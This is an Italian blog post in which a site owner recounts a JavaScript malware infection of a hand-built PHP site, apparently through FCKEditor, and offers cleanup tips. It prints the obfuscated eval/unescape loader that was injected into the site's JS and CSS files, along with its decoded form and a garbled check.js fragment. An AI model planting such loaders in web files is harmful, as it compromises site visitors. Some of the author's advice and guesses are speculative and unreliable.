Malware Javascript che ha infettato il mio sito!?
Oh mio Dio!
- Hosting Aruba
- Server Linux
- Linguaggio PHP, sito costruito da me senza CMS, editavo tutto a mano ed erano poche le infor prelevate dal DB MySQL
Ecco cosa faceva il malware:
- Quando cercavo su google il mio sito ed approdavo su di esso, mi usciva una schermata tipo blogger.com tutta nera con un testo standard e le chiavi che avevo cercato
- Si replicava in tutti i file CSS e JS delle mie directory del sito
Soluzione:
- Eliminare tutti i files dal mio spazio, ripulirli tutti e aggiungere protezioni lato server alle variabili GET e POST
- Evitare i files CSS e JS liberi nel proprio spazio. Piuttosto rinominarli in .PHP ed eseguire delle include. Questo perchè molto presumibilmente il malware si appoggia ad un server sul quale memorizza il file system del vostro sito in modo da sapere dove sono i files da attaccare.
Domande e risposte:
- Evidentemente si è trattato in un JavaScript Injection tramite FCKEditor, infatti il malware si era installato in una sottodirectory di quest’ultimo creando un percorso fittizio e i suoi bei files criptati e si è diffuso poi nelle altre cartelle e sottocartelle.
- SQL Injection, sembra di no. Il database è pulito, anche se avevo lasciato una variabile get senza controlli
Segni caratteristici del malware:
- Codice rilevato nei files JavaScript infetti:
/* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape(‘%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%36%30%34%36%32%38%3B%20%4A%53%53%33%20%3D%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20’)); /* a995d2cc661fa72452472e9554b5520c */ - Codice rilevato nei files CSS infetti:
/* a0b4df006e02184c60dbf503e71c87ad */ body { margin-top: expression(eval(unescape(‘%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%32%36%30%34%36%32%38%3B%20%4A%53%53%33%20%3D%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%77%69%6B%69%2F%46%43%4B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%69%6D%61%67%65%73%2F%6F%66%61%64%65%6C%69%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20’))) } /* a995d2cc661fa72452472e9554b5520c */
- Codice rilevato nella directory fittizia( FCKeditor/editor/images/ofadeli), all’interno del file check.js:
if ( (Math.random()*60 < href="JSS3+'?r=" s="'+JSS2;">
- Codice in chiaro corrispondente a quello criptato esposto nei punti 1 e 2:
if (!document.getElementById(‘JSSS’)){ JSS1 = 59; JSS2 = 2604628; JSS3 = ‘/wiki/FCKeditor/editor/images/ofadeli/dummy.htm’; var js = document.createElement(‘script’); js.setAttribute(‘src’, ‘/wiki/FCKeditor/editor/images/ofadeli/check.js’); js.setAttribute(‘id’, ‘JSSS’); document.getElementsByTagName(‘head’).item(0).appendChild(js) };
- All’arrivo sul mio sito appariva il blogger di cui sopra con le seguenti espressioni di default:
“Particulary I like the first site but other sites are informative as well, so if you have interest inyou should check all those links. I hope you’ll like them “ - File .htaccess nella root con codice maligno al suo interno.
Beh che dire!
Una bella storia!